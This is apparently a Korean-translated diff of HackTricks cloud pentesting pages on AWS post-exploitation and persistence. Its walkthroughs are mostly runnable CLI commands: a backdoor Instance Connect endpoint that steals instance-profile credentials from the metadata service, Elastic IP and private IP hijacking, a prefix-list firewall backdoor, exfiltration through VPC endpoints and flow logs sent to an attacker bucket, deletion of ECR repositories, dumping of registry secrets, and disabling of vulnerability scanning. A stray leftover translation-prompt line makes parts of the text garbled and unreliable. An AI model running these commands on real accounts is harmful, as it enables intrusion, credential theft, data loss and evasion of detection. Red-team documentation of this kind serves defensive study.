Impact: bastion과 public IP 제한을 우회하는 프라이빗 EC2 인스턴스에 대한 은밀한 원격 접근 경로. 공격자는 인스턴스 프로파일을 획득하여 계정 내에서 활동할 수 있습니다.
## 요구사항
- 권한:
- `ec2:CreateInstanceConnectEndpoint`, `ec2:Describe*`, `ec2:AuthorizeSecurityGroupIngress`
- `ec2-instance-connect:SendSSHPublicKey`, `ec2-instance-connect:OpenTunnel`
- SSH 서버가 실행 중이고 EC2 Instance Connect가 활성화된 대상 Linux 인스턴스 (Amazon Linux 2 또는 Ubuntu 20.04+). 기본 사용자: `ec2-user` (AL2) 또는 `ubuntu` (Ubuntu).
## 변수
```bash
export REGION=us-east-1
export INSTANCE_ID=<i-xxxxxxxxxxxx>
export SUBNET_ID=<subnet-xxxxxxxx>
export VPC_ID=<vpc-xxxxxxxx>
export TARGET_SG_ID=<sg-of-target-instance>
export ENDPOINT_SG_ID=<sg-for-eic-endpoint>
# OS user for SSH (ec2-user for AL2, ubuntu for Ubuntu)
export OS_USER=ec2-user
```
## EIC Endpoint 생성
```bash
aws ec2 create-instance-connect-endpoint \
--subnet-id "$SUBNET_ID" \
--security-group-ids "$ENDPOINT_SG_ID" \
--tag-specifications 'ResourceType=instance-connect-endpoint,Tags=[{Key=Name,Value=Backdoor-EIC}]' \
--region "$REGION" \
--query 'InstanceConnectEndpoint.InstanceConnectEndpointId' --output text | tee EIC_ID
# Wait until ready
while true; do
aws ec2 describe-instance-connect-endpoints \
--instance-connect-endpoint-ids "$(cat EIC_ID)" --region "$REGION" \
--query 'InstanceConnectEndpoints[0].State' --output text | tee EIC_STATE
grep -q 'create-complete' EIC_STATE && break
sleep 5
done
```
## EIC Endpoint에서 대상 인스턴스로 트래픽 허용
```bash
aws ec2 authorize-security-group-ingress \
--group-id "$TARGET_SG_ID" --protocol tcp --port 22 \
--source-group "$ENDPOINT_SG_ID" --region "$REGION" || true
```
## 일시적 SSH 키 주입 및 터널 열기
```bash
# Generate throwaway key
ssh-keygen -t ed25519 -f /tmp/eic -N ''
# Send short-lived SSH pubkey (valid ~60s)
aws ec2-instance-connect send-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--instance-os-user "$OS_USER" \
--ssh-public-key file:///tmp/eic.pub \
--region "$REGION"
# Open a local tunnel to instance:22 via the EIC Endpoint
aws ec2-instance-connect open-tunnel \
--instance-id "$INSTANCE_ID" \
--instance-connect-endpoint-id "$(cat EIC_ID)" \
--local-port 2222 --remote-port 22 --region "$REGION" &
TUN_PID=$!; sleep 2
# SSH via the tunnel (within the 60s window)
ssh -i /tmp/eic -p 2222 "$OS_USER"@127.0.0.1 -o StrictHostKeyChecking=no
```
## Post-exploitation 증명 (steal instance profile credentials)
```bash
# From the shell inside the instance
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ | tee ROLE
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/$(cat ROLE)
```
번역할 원문을 제공해 주세요. 파일 내용(또는 해당 Markdown)을 여기에 붙여넣어 주세요.
```json
{
"Code": "Success",
"AccessKeyId": "ASIA...",
"SecretAccessKey": "w0G...",
"Token": "IQoJ...",
"Expiration": "2025-10-08T04:09:52Z"
}
```
로컬에서 훔친 creds를 사용하여 신원을 확인:
```bash
export AWS_ACCESS_KEY_ID=<AccessKeyId>
export AWS_SECRET_ACCESS_KEY=<SecretAccessKey>
export AWS_SESSION_TOKEN=<Token>
aws sts get-caller-identity --region "$REGION"
# => arn:aws:sts::<ACCOUNT_ID>:assumed-role/<InstanceRoleName>/<InstanceId>
```
## 정리
```bash
# Revoke SG ingress on the target
aws ec2 revoke-security-group-ingress \
--group-id "$TARGET_SG_ID" --protocol tcp --port 22 \
--source-group "$ENDPOINT_SG_ID" --region "$REGION" || true
# Delete EIC Endpoint
aws ec2 delete-instance-connect-endpoint \
--instance-connect-endpoint-id "$(cat EIC_ID)" --region "$REGION"
```
> 참고
> - 주입된 SSH 키는 약 60초 동안만 유효합니다; 터널/SSH를 열기 직전에 키를 전송하세요.
> - `OS_USER`는 AMI와 일치해야 합니다(예: `ubuntu`는 Ubuntu, `ec2-user`는 Amazon Linux 2).
@@ -0,0 +1,52 @@
# AWS - Elastic IP Hijack for Ingress/Egress IP Impersonation
{{#include ../../../../banners/hacktricks-training.md}}
## 요약
`ec2:AssociateAddress` (및 선택적으로 `ec2:DisassociateAddress`)를 악용하여 피해자 instance/ENI에 할당된 Elastic IP (EIP)를 공격자 instance/ENI로 재연결합니다. 이렇게 하면 EIP로 향하던 수신 트래픽이 공격자로 리디렉션되며, 공격자는 허용된 공용 IP로 발신 트래픽을 생성해 외부 파트너 방화벽을 우회할 수 있습니다.
## 전제 조건
- 대상 EIP 할당 ID가 동일한 계정/VPC에 있어야 합니다.
- 공격자가 제어하는 instance/ENI.
- 권한:
- `ec2:DescribeAddresses`
- `ec2:AssociateAddress` on the EIP allocation-id and on the attacker instance/ENI
- `ec2:DisassociateAddress` (선택사항). 참고: `--allow-reassociation`은 이전 attachment에서 자동으로 분리됩니다.
## 공격
변수
```bash
REGION=us-east-1
ATTACKER_INSTANCE=<i-attacker>
VICTIM_INSTANCE=<i-victim>
```
1) 피해자의 EIP를 할당하거나 식별합니다 (랩이 새 EIP를 할당해 피해자에게 연결합니다)
```bash
ALLOC_ID=$(aws ec2 allocate-address --domain vpc --region $REGION --query AllocationId --output text)
aws ec2 associate-address --allocation-id $ALLOC_ID --instance-id $VICTIM_INSTANCE --region $REGION
EIP=$(aws ec2 describe-addresses --allocation-ids $ALLOC_ID --region $REGION --query Addresses[0].PublicIp --output text)
```
2) EIP가 현재 피해자 서비스로 해석되는지 확인합니다 (예: 배너 확인)
```bash
curl -sS http://$EIP | grep -i victim
```
3) EIP를 attacker에게 재연결 (victim에서 자동으로 분리됨)
```bash
aws ec2 associate-address --allocation-id $ALLOC_ID --instance-id $ATTACKER_INSTANCE --allow-reassociation --region $REGION
```
4) EIP가 이제 attacker service로 해석되는지 확인
```bash
sleep 5; curl -sS http://$EIP | grep -i attacker
```
증거 (이동된 연관):
```bash
aws ec2 describe-addresses --allocation-ids $ALLOC_ID --region $REGION \
--query Addresses[0].AssociationId --output text
```
## 영향
- Inbound impersonation: 하이재킹된 EIP로 향하는 모든 트래픽이 공격자 instance/ENI로 전달됩니다.
- Outbound impersonation: 공격자는 allowlisted public IP에서 발생한 것처럼 보이는 트래픽을 시작할 수 있습니다(파트너/외부 소스 IP 필터를 우회하는 데 유용).
{{#include ../../../../banners/hacktricks-training.md}}
@@ -0,0 +1,50 @@
# AWS EC2 ENI Secondary Private IP Hijack (Trust/Allowlist Bypass)
{{#include ../../../../banners/hacktricks-training.md}}
`ec2:UnassignPrivateIpAddresses``ec2:AssignPrivateIpAddresses`를 악용해 victim ENIs secondary private IP를 탈취하고 같은 subnet/AZ의 attacker ENI로 이동시킵니다. 많은 내부 서비스와 보안 그룹은 특정 프라이빗 IP로 접근을 제한합니다. 해당 secondary 주소를 이동하면 공격자는 L3에서 신뢰된 호스트를 가장해 allowlisted 서비스에 접근할 수 있습니다.
Prereqs:
- 권한: `ec2:DescribeNetworkInterfaces`, `ec2:UnassignPrivateIpAddresses` on the victim ENI ARN, and `ec2:AssignPrivateIpAddresses` on the attacker ENI ARN.
- Both ENIs must be in the same subnet/AZ. The target address must be a secondary IP (primary cannot be unassigned).
Variables:
- REGION=us-east-1
- VICTIM_ENI=<eni-xxxxxxxx>
- ATTACKER_ENI=<eni-yyyyyyyy>
- PROTECTED_SG=<sg-protected> # SG on a target service that allows only $HIJACK_IP
- PROTECTED_HOST=<private-dns-or-ip-of-protected-service>
Steps:
1) victim ENI에서 secondary IP 하나를 선택합니다
```bash
aws ec2 describe-network-interfaces --network-interface-ids $VICTIM_ENI --region $REGION --query NetworkInterfaces[0].PrivateIpAddresses[?Primary==`false`].PrivateIpAddress --output text | head -n1 | tee HIJACK_IP
export HIJACK_IP=$(cat HIJACK_IP)
```
2) 보호된 호스트가 해당 IP만 허용하도록 설정하세요(멱등성). 대신 SG-to-SG 규칙을 사용하는 경우 건너뛰세요.
```bash
aws ec2 authorize-security-group-ingress --group-id $PROTECTED_SG --protocol tcp --port 80 --cidr "$HIJACK_IP/32" --region $REGION || true
```
3) 기준: attacker instance에서 PROTECTED_HOST로의 요청은 spoofed source 없이 실패해야 함 (예: SSM/SSH)
```bash
curl -sS --max-time 3 http://$PROTECTED_HOST || true
```
4) 피해자 ENI에서 보조 IP 할당 해제
```bash
aws ec2 unassign-private-ip-addresses --network-interface-id $VICTIM_ENI --private-ip-addresses $HIJACK_IP --region $REGION
```
5) attacker ENI에 동일한 IP를 할당합니다 (AWS CLI v1에서는 `--allow-reassignment`을 추가)
```bash
aws ec2 assign-private-ip-addresses --network-interface-id $ATTACKER_ENI --private-ip-addresses $HIJACK_IP --region $REGION
```
6) 소유권이 이전되었는지 확인
```bash
aws ec2 describe-network-interfaces --network-interface-ids $ATTACKER_ENI --region $REGION --query NetworkInterfaces[0].PrivateIpAddresses[].PrivateIpAddress --output text | grep -w $HIJACK_IP
```
7) attacker instance에서, protected host에 도달하기 위해 hijacked IP에 source-bind 하세요 (IP가 OS에 설정되어 있는지 확인하세요; 설정되어 있지 않다면 `ip addr add $HIJACK_IP/<mask> dev eth0`로 추가하세요)
```bash
curl --interface $HIJACK_IP -sS http://$PROTECTED_HOST -o /tmp/poc.out && head -c 80 /tmp/poc.out
```
## Impact
- IP allowlists를 우회하고 같은 subnet/AZ 내에서 ENIs 간에 secondary private IPs를 이동시켜 VPC 내의 신뢰된 호스트를 가장할 수 있습니다.
- 특정 source IPs로 접근을 제한하는 내부 서비스에 도달할 수 있어, lateral movement 및 data access를 가능하게 합니다.
@@ -0,0 +1,72 @@
# AWS - Managed Prefix Lists를 통한 Security Group 백도어
{{#include ../../../../banners/hacktricks-training.md}}
## 요약
customer-managed Prefix Lists를 악용하여 은밀한 접근 경로를 만듭니다. Security Group (SG) 규칙이 managed Prefix List를 참조하고 있다면, 해당 리스트를 수정할 수 있는 누구나 공격자가 제어하는 CIDRs를 조용히 추가할 수 있습니다. 그 리스트를 참조하는 모든 SG(및 잠재적으로 Network ACL이나 VPC endpoint)는 SG에 눈에 띄는 변경이 없어도 즉시 새로운 범위를 허용하게 됩니다.
## 영향
- 프리픽스 리스트를 참조하는 모든 SG에 대해 허용된 IP 범위가 즉시 확장되어, SG 편집만 모니터링하는 변경 통제를 우회합니다.
- 지속적인 인그레스/이그레스 백도어를 가능하게 합니다: 악의적인 CIDR을 프리픽스 리스트에 숨겨두고 SG 규칙은 변경되지 않은 것처럼 보이게 합니다.
## 요구사항
- IAM 권한:
- `ec2:DescribeManagedPrefixLists`
- `ec2:GetManagedPrefixListEntries`
- `ec2:ModifyManagedPrefixList`
- `ec2:DescribeSecurityGroups` / `ec2:DescribeSecurityGroupRules` (연결된 SG 식별용)
- 선택 사항: 테스트용으로 새로 생성하는 경우 `ec2:CreateManagedPrefixList`.
- 환경: 대상 customer-managed Prefix List를 참조하는 SG 규칙이 최소 하나 이상 있어야 합니다.
## 변수
```bash
REGION=us-east-1
PREFIX_LIST_ID=<pl-xxxxxxxx>
ENTRY_CIDR=<attacker-cidr/32>
DESCRIPTION="Backdoor allow attacker"
```
## 공격 단계
1) **후보 prefix lists 및 consumers 열거**
```bash
aws ec2 describe-managed-prefix-lists \
--region "$REGION" \
--query 'PrefixLists[?OwnerId==`<victim-account-id>`].[PrefixListId,PrefixListName,State,MaxEntries]' \
--output table
aws ec2 get-managed-prefix-list-entries \
--prefix-list-id "$PREFIX_LIST_ID" \
--region "$REGION" \
--query 'Entries[*].[Cidr,Description]'
```
`aws ec2 describe-security-group-rules --filters Name=referenced-prefix-list-id,Values=$PREFIX_LIST_ID`을 사용하여 어떤 SG 규칙이 이 prefix list에 의존하는지 확인하세요.
2) **prefix list에 attacker CIDR를 추가하세요**
```bash
aws ec2 modify-managed-prefix-list \
--prefix-list-id "$PREFIX_LIST_ID" \
--add-entries Cidr="$ENTRY_CIDR",Description="$DESCRIPTION" \
--region "$REGION"
```
3) **보안 그룹으로의 전파를 검증**
```bash
aws ec2 describe-security-group-rules \
--region "$REGION" \
--filters Name=referenced-prefix-list-id,Values="$PREFIX_LIST_ID" \
--query 'SecurityGroupRules[*].{SG:GroupId,Description:Description}' \
--output table
```
`$ENTRY_CIDR`에서 오는 트래픽은 prefix list가 참조되는 모든 곳에서 이제 허용됩니다 (일반적으로 egress proxies의 outbound 규칙이나 shared services의 inbound 규칙).
## Evidence
- `get-managed-prefix-list-entries`에는 공격자 CIDR과 설명이 반영되어 있습니다.
- `describe-security-group-rules`는 여전히 prefix list를 참조하는 원래의 SG 규칙을 표시합니다(보안 그룹 변경 기록 없음). 그럼에도 새 CIDR에서의 트래픽은 성공합니다.
## Cleanup
```bash
aws ec2 modify-managed-prefix-list \
--prefix-list-id "$PREFIX_LIST_ID" \
--remove-entries Cidr="$ENTRY_CIDR" \
--region "$REGION"
```
{{#include ../../../../banners/hacktricks-training.md}}
@@ -0,0 +1,68 @@
# AWS Egress Bypass from Isolated Subnets via VPC Endpoints
{{#include ../../../../banners/hacktricks-training.md}}
## 요약
이 기법은 Internet Gateways나 NAT가 없는 서브넷에서 데이터 유출 채널을 만들기 위해 VPC Endpoints를 악용한다. Gateway endpoints (예: S3)는 서브넷의 route table에 prefixlist 경로를 추가하고; Interface endpoints (예: execute-api, secretsmanager, ssm 등)는 security groups로 보호되는 private IP를 가진 접근 가능한 ENI를 생성한다. 최소한의 VPC/EC2 권한으로 공격자는 공용 Internet을 통과하지 않는 제어된 egress를 활성화할 수 있다.
> Prereqs: existing VPC and private subnets (no IGW/NAT). Youll need permissions to create VPC endpoints and, for Option B, a security group to attach to the endpoint ENIs.
## 옵션 A S3 Gateway VPC Endpoint
**변수**
- `REGION=us-east-1`
- `VPC_ID=<target vpc>`
- `RTB_IDS=<comma-separated route table IDs of private subnets>`
1) 허용적인 endpoint policy 파일을 생성한다(선택사항). `allow-put-get-any-s3.json`로 저장:
```json
{
"Version": "2012-10-17",
"Statement": [ { "Effect": "Allow", "Action": ["s3:*"], "Resource": ["*"] } ]
}
```
2) S3 Gateway endpoint 생성 (선택한 route tables에 S3 prefixlist route를 추가):
```bash
aws ec2 create-vpc-endpoint \
--vpc-id $VPC_ID \
--service-name com.amazonaws.$REGION.s3 \
--vpc-endpoint-type Gateway \
--route-table-ids $RTB_IDS \
--policy-document file://allow-put-get-any-s3.json # optional
```
캡처할 증거:
- `aws ec2 describe-route-tables --route-table-ids $RTB_IDS`는 AWS S3 prefix list로 가는 경로를 보여줍니다(예: `DestinationPrefixListId=pl-..., GatewayId=vpce-...`).
- 해당 서브넷의 인스턴스에서 (with IAM perms) Internet 없이 S3를 통해 exfil할 수 있습니다:
```bash
# On the isolated instance (e.g., via SSM):
echo data > /tmp/x.txt
aws s3 cp /tmp/x.txt s3://<your-bucket>/egress-test/x.txt --region $REGION
```
## 옵션 B Interface VPC Endpoint for API Gateway (execute-api)
**변수**
- `REGION=us-east-1`
- `VPC_ID=<target vpc>`
- `SUBNET_IDS=<comma-separated private subnets>`
- `SG_VPCE=<security group for the endpoint ENIs allowing 443 from target instances>`
1) interface endpoint를 생성하고 SG를 연결하세요:
```bash
aws ec2 create-vpc-endpoint \
--vpc-id $VPC_ID \
--service-name com.amazonaws.$REGION.execute-api \
--vpc-endpoint-type Interface \
--subnet-ids $SUBNET_IDS \
--security-group-ids $SG_VPCE \
--private-dns-enabled
```
수집할 증거:
- `aws ec2 describe-vpc-endpoints``available` 상태의 엔드포인트를 `NetworkInterfaceIds`와 함께 표시함 (서브넷 내 ENIs).
- 해당 서브넷의 인스턴스는 해당 VPCE ENIs를 통해 Private API Gateway endpoints에 접근할 수 있음(인터넷 경로 불필요).
## 영향
- AWS가 관리하는 프라이빗 경로를 이용해 경계 아웃바운드 제어를 우회함.
- 격리된 서브넷에서 데이터 유출을 가능하게 함(예: S3에 쓰기; Private API Gateway 호출; Secrets Manager/SSM/STS 등 접근) — IGW/NAT 없이.
{{#include ../../../../banners/hacktricks-training.md}}
@@ -0,0 +1,74 @@
# AWS - VPC Flow Logs Cross-Account Exfiltration to S3
{{#include ../../../../banners/hacktricks-training.md}}
## Summary
`ec2:CreateFlowLogs`를 악용하여 VPC, subnet, 또는 ENI flow logs를 공격자가 제어하는 S3 버킷으로 직접 내보냅니다. delivery role이 외부 버킷에 쓰도록 구성되면, 모니터링되는 리소스에서 관찰된 모든 연결이 피해자 계정 밖으로 스트리밍됩니다.
## Requirements
- Victim principal: `ec2:CreateFlowLogs`, `ec2:DescribeFlowLogs`, and `iam:PassRole` (if a delivery role is required/created).
- Attacker bucket: S3 policy that trusts `delivery.logs.amazonaws.com` with `s3:PutObject` and `bucket-owner-full-control`.
- Optional: `logs:DescribeLogGroups` if exporting to CloudWatch instead of S3 (not needed here).
## Attack Walkthrough
1) **Attacker**는 VPC Flow Logs 배달 서비스가 객체를 쓸 수 있도록 허용하는 S3 버킷 정책을 (attacker account에서) 준비합니다. 적용하기 전에 플레이스홀더를 교체하세요:
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AllowVPCFlowLogsDelivery",
"Effect": "Allow",
"Principal": { "Service": "delivery.logs.amazonaws.com" },
"Action": "s3:PutObject",
"Resource": "arn:aws:s3:::<attacker-bucket>/flowlogs/*",
"Condition": {
"StringEquals": { "s3:x-amz-acl": "bucket-owner-full-control" }
}
}
]
}
```
공격자 계정에서 적용:
```bash
aws s3api put-bucket-policy \
--bucket <attacker-bucket> \
--policy file://flowlogs-policy.json
```
2) **Victim** (compromised principal)이 attacker bucket을 대상으로 flow logs를 생성합니다:
```bash
REGION=us-east-1
VPC_ID=<vpc-xxxxxxxx>
ROLE_ARN=<delivery-role-with-logs-permissions> # Must allow delivery.logs.amazonaws.com to assume it
aws ec2 create-flow-logs \
--resource-type VPC \
--resource-ids "$VPC_ID" \
--traffic-type ALL \
--log-destination-type s3 \
--log-destination arn:aws:s3:::<attacker-bucket>/flowlogs/ \
--deliver-logs-permission-arn "$ROLE_ARN" \
--region "$REGION"
```
몇 분 내에, 모니터링된 VPC/subnet의 모든 ENIs에 대한 연결을 포함하는 flow log files가 attacker bucket에 나타납니다.
## 증거
attacker bucket에 기록된 샘플 flow log records:
```text
version account-id interface-id srcaddr dstaddr srcport dstport protocol packets bytes start end action log-status
2 947247140022 eni-074cdc68182fb7e4d 52.217.123.250 10.77.1.240 443 48674 6 2359 3375867 1759874460 1759874487 ACCEPT OK
2 947247140022 eni-074cdc68182fb7e4d 10.77.1.240 52.217.123.250 48674 443 6 169 7612 1759874460 1759874487 ACCEPT OK
2 947247140022 eni-074cdc68182fb7e4d 54.231.199.186 10.77.1.240 443 59604 6 34 33539 1759874460 1759874487 ACCEPT OK
2 947247140022 eni-074cdc68182fb7e4d 10.77.1.240 54.231.199.186 59604 443 6 18 1726 1759874460 1759874487 ACCEPT OK
2 947247140022 eni-074cdc68182fb7e4d 16.15.204.15 10.77.1.240 443 57868 6 162 1219352 1759874460 1759874487 ACCEPT OK
```
Bucket 목록 조회 증거:
```bash
aws s3 ls s3://<attacker-bucket>/flowlogs/ --recursive --human-readable --summarize
```
## 영향
- 모니터링되는 VPC/subnet/ENI에 대한 지속적인 네트워크 메타데이터 exfiltration (source/destination IPs, ports, protocols).
- 피해자 계정 외부에서 traffic analysis, 민감한 서비스 식별 및 security group misconfigurations에 대한 잠재적 탐색을 가능하게 함.
{{#include ../../../../banners/hacktricks-training.md}}
@@ -1,92 +0,0 @@
# AWS - ECR Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
## ECR
자세한 정보는 확인하세요
{{#ref}}
../aws-services/aws-ecr-enum.md
{{#endref}}
### 로그인, 풀 및 푸시
```bash
# Docker login into ecr
## For public repo (always use us-east-1)
aws ecr-public get-login-password --region us-east-1 | docker login --username AWS --password-stdin public.ecr.aws/<random-id>
## For private repo
aws ecr get-login-password --profile <profile_name> --region <region> | docker login --username AWS --password-stdin <account_id>.dkr.ecr.<region>.amazonaws.com
## If you need to acces an image from a repo if a different account, in <account_id> set the account number of the other account
# Download
docker pull <account_id>.dkr.ecr.<region>.amazonaws.com/<repo_name>:latest
## If you still have the error "Requested image not found"
## It might be because the tag "latest" doesn't exit
## Get valid tags with:
TOKEN=$(aws --profile <profile> ecr get-authorization-token --output text --query 'authorizationData[].authorizationToken')
curl -i -H "Authorization: Basic $TOKEN" https://<account_id>.dkr.ecr.<region>.amazonaws.com/v2/<img_name>/tags/list
# Inspect the image
docker inspect sha256:079aee8a89950717cdccd15b8f17c80e9bc4421a855fcdc120e1c534e4c102e0
# Upload (example uploading purplepanda with tag latest)
docker tag purplepanda:latest <account_id>.dkr.ecr.<region>.amazonaws.com/purplepanda:latest
docker push <account_id>.dkr.ecr.<region>.amazonaws.com/purplepanda:latest
# Downloading without Docker
# List digests
aws ecr batch-get-image --repository-name level2 \
--registry-id 653711331788 \
--image-ids imageTag=latest | jq '.images[].imageManifest | fromjson'
## Download a digest
aws ecr get-download-url-for-layer \
--repository-name level2 \
--registry-id 653711331788 \
--layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a"
```
이미지를 다운로드한 후에는 **민감한 정보가 있는지 확인해야 합니다**:
{{#ref}}
https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
{{#endref}}
### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage`
이러한 권한을 가진 공격자는 **모든 이미지를 삭제하기 위해 라이프사이클 정책을 생성하거나 수정할 수 있으며**, 그 후 **전체 ECR 리포지토리를 삭제할 수 있습니다**. 이로 인해 리포지토리에 저장된 모든 컨테이너 이미지가 손실됩니다.
```bash
bashCopy code# Create a JSON file with the malicious lifecycle policy
echo '{
"rules": [
{
"rulePriority": 1,
"description": "Delete all images",
"selection": {
"tagStatus": "any",
"countType": "imageCountMoreThan",
"countNumber": 0
},
"action": {
"type": "expire"
}
}
]
}' > malicious_policy.json
# Apply the malicious lifecycle policy to the ECR repository
aws ecr put-lifecycle-policy --repository-name your-ecr-repo-name --lifecycle-policy-text file://malicious_policy.json
# Delete the ECR repository
aws ecr delete-repository --repository-name your-ecr-repo-name --force
# Delete the ECR public repository
aws ecr-public delete-repository --repository-name your-ecr-repo-name --force
# Delete multiple images from the ECR repository
aws ecr batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
# Delete multiple images from the ECR public repository
aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
```
{{#include ../../../banners/hacktricks-training.md}}
@@ -0,0 +1,205 @@
# AWS - ECR Post Exploitation
{{#include ../../../../banners/hacktricks-training.md}}
## ECR
자세한 내용은 다음을 확인하세요
{{#ref}}
../../aws-services/aws-ecr-enum.md
{{#endref}}
### Login, Pull & Push
```bash
# Docker login into ecr
## For public repo (always use us-east-1)
aws ecr-public get-login-password --region us-east-1 | docker login --username AWS --password-stdin public.ecr.aws/<random-id>
## For private repo
aws ecr get-login-password --profile <profile_name> --region <region> | docker login --username AWS --password-stdin <account_id>.dkr.ecr.<region>.amazonaws.com
## If you need to acces an image from a repo if a different account, in <account_id> set the account number of the other account
# Download
docker pull <account_id>.dkr.ecr.<region>.amazonaws.com/<repo_name>:latest
## If you still have the error "Requested image not found"
## It might be because the tag "latest" doesn't exit
## Get valid tags with:
TOKEN=$(aws --profile <profile> ecr get-authorization-token --output text --query 'authorizationData[].authorizationToken')
curl -i -H "Authorization: Basic $TOKEN" https://<account_id>.dkr.ecr.<region>.amazonaws.com/v2/<img_name>/tags/list
# Inspect the image
docker inspect sha256:079aee8a89950717cdccd15b8f17c80e9bc4421a855fcdc120e1c534e4c102e0
docker inspect <account id>.dkr.ecr.<region>.amazonaws.com/<image>:<tag> # Inspect the image indicating the URL
# Upload (example uploading purplepanda with tag latest)
docker tag purplepanda:latest <account_id>.dkr.ecr.<region>.amazonaws.com/purplepanda:latest
docker push <account_id>.dkr.ecr.<region>.amazonaws.com/purplepanda:latest
# Downloading without Docker
# List digests
aws ecr batch-get-image --repository-name level2 \
--registry-id 653711331788 \
--image-ids imageTag=latest | jq '.images[].imageManifest | fromjson'
## Download a digest
aws ecr get-download-url-for-layer \
--repository-name level2 \
--registry-id 653711331788 \
--layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a"
```
이미지를 다운로드한 후에는 **민감한 정보를 확인해야 합니다**:
{{#ref}}
https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
{{#endref}}
### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage`
이 권한들 중 하나라도 가진 공격자는 **리포지토리의 모든 이미지를 삭제하도록 lifecycle policy를 생성하거나 수정할 수** 있으며, 그 후 **전체 ECR 리포지토리를 삭제할 수 있습니다**. 이로 인해 리포지토리에 저장된 모든 컨테이너 이미지가 손실됩니다.
```bash
# Create a JSON file with the malicious lifecycle policy
echo '{
"rules": [
{
"rulePriority": 1,
"description": "Delete all images",
"selection": {
"tagStatus": "any",
"countType": "imageCountMoreThan",
"countNumber": 0
},
"action": {
"type": "expire"
}
}
]
}' > malicious_policy.json
# Apply the malicious lifecycle policy to the ECR repository
aws ecr put-lifecycle-policy --repository-name your-ecr-repo-name --lifecycle-policy-text file://malicious_policy.json
# Delete the ECR repository
aws ecr delete-repository --repository-name your-ecr-repo-name --force
# Delete the ECR public repository
aws ecr-public delete-repository --repository-name your-ecr-repo-name --force
# Delete multiple images from the ECR repository
aws ecr batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
# Delete multiple images from the ECR public repository
aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
```
{{#include ../../../../banners/hacktricks-training.md}}
### ECR PullThrough Cache (PTC)에서 업스트림 레지스트리 자격증명 탈취
ECR PullThrough Cache가 인증된 업스트림 레지스트리(Docker Hub, GHCR, ACR 등)에 대해 구성되어 있으면, 업스트림 자격증명은 예측 가능한 이름 접두사인 `ecr-pullthroughcache/`로 AWS Secrets Manager에 저장됩니다. 운영자는 때때로 ECR 관리자에게 광범위한 Secrets Manager 읽기 권한을 부여하여 자격증명을 탈취하고 AWS 밖에서 재사용할 수 있게 합니다.
Requirements
- secretsmanager:ListSecrets
- secretsmanager:GetSecretValue
PTC 후보 시크릿 열거
```bash
aws secretsmanager list-secrets \
--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].Name" \
--output text
```
발견된 secrets을 덤프하고 공통 필드를 파싱합니다.
```bash
for s in $(aws secretsmanager list-secrets \
--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].ARN" --output text); do
aws secretsmanager get-secret-value --secret-id "$s" \
--query SecretString --output text | tee /tmp/ptc_secret.json
jq -r '.username? // .user? // empty' /tmp/ptc_secret.json || true
jq -r '.password? // .token? // empty' /tmp/ptc_secret.json || true
done
```
선택 사항: leaked creds를 upstream (읽기 전용 로그인)에 대해 검증
```bash
echo "$DOCKERHUB_PASSWORD" | docker login --username "$DOCKERHUB_USERNAME" --password-stdin registry-1.docker.io
```
영향
- Secrets Manager 항목을 읽으면 재사용 가능한 upstream registry 자격증명(사용자명/비밀번호 또는 토큰)이 획득되어, upstream 권한에 따라 AWS 외부에서 private 이미지를 pull 하거나 추가 리포지토리에 접근하는 데 악용될 수 있습니다.
### Registry-level stealth: disable or downgrade scanning via `ecr:PutRegistryScanningConfiguration`
레지스트리 수준의 ECR 권한을 가진 공격자는 registry scanning configuration을 scan-on-push 규칙 없이 BASIC으로 설정하여 모든 리포지토리에 대한 자동 취약점 스캔을 조용히 축소하거나 비활성화할 수 있습니다. 이로 인해 새 이미지 푸시는 자동으로 스캔되지 않아 취약하거나 악성인 이미지를 숨길 수 있습니다.
요구사항
- ecr:PutRegistryScanningConfiguration
- ecr:GetRegistryScanningConfiguration
- ecr:PutImageScanningConfiguration (optional, perrepo)
- ecr:DescribeImages, ecr:DescribeImageScanFindings (verification)
레지스트리 전체를 수동으로 다운그레이드 (자동 스캔 없음)
```bash
REGION=us-east-1
# Read current config (save to restore later)
aws ecr get-registry-scanning-configuration --region "$REGION"
# Set BASIC scanning with no rules (results in MANUAL scanning only)
aws ecr put-registry-scanning-configuration \
--region "$REGION" \
--scan-type BASIC \
--rules '[]'
```
repo 및 image를 사용하여 테스트
```bash
acct=$(aws sts get-caller-identity --query Account --output text)
repo=ht-scan-stealth
aws ecr create-repository --region "$REGION" --repository-name "$repo" >/dev/null 2>&1 || true
aws ecr get-login-password --region "$REGION" | docker login --username AWS --password-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com
printf 'FROM alpine:3.19\nRUN echo STEALTH > /etc/marker\n' > Dockerfile
docker build -t ${acct}.dkr.ecr.${REGION}.amazonaws.com/${repo}:test .
docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${repo}:test
# Verify no scan ran automatically
aws ecr describe-images --region "$REGION" --repository-name "$repo" --image-ids imageTag=test --query 'imageDetails[0].imageScanStatus'
# Optional: will error with ScanNotFoundException if no scan exists
aws ecr describe-image-scan-findings --region "$REGION" --repository-name "$repo" --image-id imageTag=test || true
```
선택 사항: 리포지토리 범위에서 추가로 하향 조정
```bash
# Disable scan-on-push for a specific repository
aws ecr put-image-scanning-configuration \
--region "$REGION" \
--repository-name "$repo" \
